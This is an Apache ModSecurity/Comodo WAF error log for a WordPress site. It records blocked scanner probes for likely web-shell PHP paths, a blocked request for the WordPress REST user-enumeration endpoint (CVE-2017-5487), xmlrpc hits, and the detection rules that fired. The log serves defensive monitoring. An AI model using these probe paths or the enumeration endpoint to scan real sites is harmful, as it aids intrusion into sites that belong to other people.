[Sat Apr 04 02:39:51.788057 2026] [:error] [pid 44382:tid 44394] [client 72.146.45.53:50912] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsc.php"] [unique_id "adAJd5pzSLFOX5FpZ8rLhgAAAAo"]
[Sat Apr 04 02:39:52.277175 2026] [:error] [pid 12097:tid 12177] [client 72.146.45.53:64143] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsc.php"] [unique_id "adAJeBnkcvJ01y2CY3nUDwAAANY"]
[Sat Apr 04 02:39:52.791849 2026] [:error] [pid 44382:tid 44398] [client 72.146.45.53:47998] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lvminl.php"] [unique_id "adAJeJpzSLFOX5FpZ8rLiwAAAA4"]
[Sat Apr 04 02:39:53.280036 2026] [:error] [pid 12233:tid 12243] [client 72.146.45.53:52049] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lvminl.php"] [unique_id "adAJeRQDAzkmdfiSgI3o6AAAAQg"]
[Sat Apr 04 02:39:53.918930 2026] [:error] [pid 12233:tid 12238] [client 72.146.45.53:57679] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lvminl.php"] [unique_id "adAJeRQDAzkmdfiSgI3o7wAAAQM"]
[Sat Apr 04 02:39:54.638303 2026] [:error] [pid 12233:tid 12242] [client 72.146.45.53:33932] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dczem.php"] [unique_id "adAJehQDAzkmdfiSgI3o-QAAAQc"]
[Sat Apr 04 02:39:55.198501 2026] [:error] [pid 44382:tid 44403] [client 72.146.45.53:60096] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dczem.php"] [unique_id "adAJe5pzSLFOX5FpZ8rLlQAAABM"]
[Sat Apr 04 02:39:55.808876 2026] [:error] [pid 44382:tid 44393] [client 72.146.45.53:23315] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adAJe5pzSLFOX5FpZ8rLnAAAAAk"]
[Sat Apr 04 02:39:56.294303 2026] [:error] [pid 12097:tid 12164] [client 72.146.45.53:57668] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adAJfBnkcvJ01y2CY3nUFAAAAMk"]
[Sat Apr 04 02:39:56.838035 2026] [:error] [pid 44382:tid 44407] [client 72.146.45.53:60690] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adAJfJpzSLFOX5FpZ8rLoQAAABc"]
[Sat Apr 04 02:39:57.395066 2026] [:error] [pid 44382:tid 44394] [client 72.146.45.53:23298] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albrt.php"] [unique_id "adAJfZpzSLFOX5FpZ8rLqAAAAAo"]
[Sat Apr 04 06:38:28.065325 2026] [:error] [pid 2457:tid 2478] [client 170.106.197.109:59832] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBBZEmNHppaMd92ZpdiFAAAAAE"]
[Sat Apr 04 07:04:53.861068 2026] [:error] [pid 2567:tid 2589] [client 45.92.1.112:53492] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBHlWJJmfRsTrAKjdSThQAAAM8"]
[Sat Apr 04 07:04:54.437212 2026] [:error] [pid 2457:tid 2483] [client 45.92.1.112:53472] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBHlkmNHppaMd92Zpdm8AAAAAY"]
[Sat Apr 04 07:04:55.124233 2026] [:error] [pid 2459:tid 2542] [client 45.92.1.112:56631] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBHlwefyCmu4LR_PlqJMAAAAIo"]
[Sat Apr 04 07:04:55.638666 2026] [:error] [pid 2459:tid 2553] [client 45.92.1.112:63013] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBHlwefyCmu4LR_PlqJNAAAAJU"]
[Sat Apr 04 07:04:56.263632 2026] [:error] [pid 37114:tid 37128] [client 45.92.1.112:54999] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adBHmM-DnSj3fGMexeKjPgAAAQw"]
[Sat Apr 04 07:04:58.063678 2026] [:error] [pid 2457:tid 2491] [client 45.92.1.112:58976] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBHmkmNHppaMd92Zpdm9AAAAA4"]
[Sat Apr 04 07:04:58.635932 2026] [:error] [pid 2457:tid 2490] [client 45.92.1.112:57697] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBHmkmNHppaMd92Zpdm9gAAAA0"]
[Sat Apr 04 07:04:59.219849 2026] [:error] [pid 2457:tid 2477] [client 45.92.1.112:61484] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBHm0mNHppaMd92Zpdm_QAAAAA"]
[Sat Apr 04 07:04:59.814051 2026] [:error] [pid 2459:tid 2552] [client 45.92.1.112:59799] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBHmwefyCmu4LR_PlqJTwAAAJQ"]
[Sat Apr 04 07:05:00.313493 2026] [:error] [pid 2457:tid 2489] [client 45.92.1.112:62919] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBHnEmNHppaMd92ZpdnAwAAAAw"]
[Sat Apr 04 07:36:47.939732 2026] [:error] [pid 2459:tid 2549] [client 43.131.243.61:59210] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBPDwefyCmu4LR_PlqV5QAAAJE"]
[Sat Apr 04 08:15:54.801464 2026] [:error] [pid 37114:tid 37127] [client 182.44.67.97:48074] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adBYOs-DnSj3fGMexeLGYgAAAQs"]
[Sat Apr 04 10:51:50.797164 2026] [:error] [pid 2567:tid 2586] [client 20.207.196.17:2395] [client 20.207.196.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "adB8xmJJmfRsTrAKjdQ1gwAAAMw"]
[Sat Apr 04 10:51:51.366294 2026] [:error] [pid 2567:tid 2592] [client 20.207.196.17:7064] [client 20.207.196.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "adB8x2JJmfRsTrAKjdQ1hAAAANI"]
[Sat Apr 04 10:51:51.933642 2026] [:error] [pid 37114:tid 37123] [client 20.207.196.17:7070] [client 20.207.196.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "adB8x8-DnSj3fGMexeITWQAAAQc"]
[Sat Apr 04 10:51:52.521776 2026] [:error] [pid 2457:tid 2496] [client 20.207.196.17:2781] [client 20.207.196.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "adB8yEmNHppaMd92ZpefzgAAABM"]
[Sat Apr 04 14:07:25.353729 2026] [:error] [pid 2457:tid 2487] [client 170.106.192.3:40458] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adCqnUmNHppaMd92ZpfPQgAAAAo"]
[Sat Apr 04 14:42:39.404218 2026] [:error] [pid 2567:tid 2587] [client 43.130.174.37:57768] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adCy32JJmfRsTrAKjdS0BgAAAM0"]
[Sat Apr 04 15:16:41.613157 2026] [:error] [pid 2567:tid 2585] [client 188.27.87.68:54909] [client 188.27.87.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.87.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adC62WJJmfRsTrAKjdTDlQAAAMs"]
[Sat Apr 04 15:19:38.822801 2026] [:error] [pid 2459:tid 2534] [client 188.27.87.68:53138] [client 188.27.87.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adC7igefyCmu4LR_PlpEEwAAAIM"]
[Sat Apr 04 15:20:27.966708 2026] [:error] [pid 2567:tid 2575] [client 188.27.87.68:53631] [client 188.27.87.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.87.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adC7u2JJmfRsTrAKjdTFTQAAAME"]
[Sat Apr 04 15:21:31.445706 2026] [:error] [pid 2567:tid 2575] [client 188.27.87.68:54074] [client 188.27.87.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.87.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adC7-2JJmfRsTrAKjdTF1QAAAME"]
[Sat Apr 04 20:50:16.860165 2026] [:error] [pid 2459:tid 2539] [client 122.51.236.174:60092] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adEJCAefyCmu4LR_PloYcgAAAIc"]
[Sat Apr 04 21:16:53.702758 2026] [:error] [pid 2458:tid 2519] [client 45.131.195.111:40947] [client 45.131.195.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "adEPRSNozic5SuWqclkogAAAAE8"]
[Sun Apr 05 00:22:58.512991 2026] [:error] [pid 63487:tid 63508] [client 43.130.32.245:37290] [client 43.130.32.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adE64mpqOMD5fJ8_5q1ZmQAAAVI"]
[Sun Apr 05 02:59:35.627982 2026] [:error] [pid 53819:tid 53895] [client 45.13.191.254:61089] [client 45.13.191.254] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adFfl2kolvq4mv6siDMK2AAAABY"]
[Sun Apr 05 03:19:43.371770 2026] [:error] [pid 53820:tid 53925] [client 111.172.249.49:43714] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adFkTzKzpMZSi9FOeIY6-gAAAFg"]
[Sun Apr 05 05:29:12.838544 2026] [:error] [pid 45304:tid 45344] [client 4.225.160.61:54716] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adGCqA5jnqDKKovdRkn_GgAAAEA"]
[Sun Apr 05 05:29:14.631880 2026] [:error] [pid 45305:tid 45381] [client 4.225.160.61:32595] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adGCqujDQjr7aWhjflD8hQAAAIo"]
[Sun Apr 05 05:29:16.423409 2026] [:error] [pid 45304:tid 45346] [client 4.225.160.61:17719] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adGCrA5jnqDKKovdRkn_IgAAAEI"]
[Sun Apr 05 05:29:18.612423 2026] [:error] [pid 45304:tid 45349] [client 4.225.160.61:57590] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adGCrg5jnqDKKovdRkn_KgAAAEU"]
[Sun Apr 05 05:29:20.656810 2026] [:error] [pid 45304:tid 45355] [client 4.225.160.61:17723] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adGCsA5jnqDKKovdRkn_LQAAAEs"]
[Sun Apr 05 05:29:23.130512 2026] [:error] [pid 45303:tid 45337] [client 4.225.160.61:32614] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adGCs7boQ9eViZ4hdnl5jwAAABQ"]
[Sun Apr 05 05:29:24.655162 2026] [:error] [pid 45409:tid 45423] [client 4.225.160.61:57576] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adGCtNHt_Oyw03gjCNi8qgAAAMw"]
[Sun Apr 05 05:29:25.925127 2026] [:error] [pid 45303:tid 45336] [client 4.225.160.61:56757] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adGCtbboQ9eViZ4hdnl5kwAAABM"]
[Sun Apr 05 05:29:27.752684 2026] [:error] [pid 45409:tid 45417] [client 4.225.160.61:26333] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adGCt9Ht_Oyw03gjCNi8ugAAAMY"]
[Sun Apr 05 05:29:29.120519 2026] [:error] [pid 45304:tid 45349] [client 4.225.160.61:7425] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adGCuQ5jnqDKKovdRkn_PgAAAEU"]
[Sun Apr 05 05:29:31.810553 2026] [:error] [pid 45304:tid 45355] [client 4.225.160.61:26324] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adGCuw5jnqDKKovdRkn_RAAAAEs"]
[Sun Apr 05 05:29:36.373123 2026] [:error] [pid 45409:tid 45419] [client 4.225.160.61:17700] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adGCwNHt_Oyw03gjCNi85QAAAMg"]
[Sun Apr 05 05:29:38.706847 2026] [:error] [pid 45409:tid 45426] [client 4.225.160.61:52697] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGCwtHt_Oyw03gjCNi87gAAAM8"]
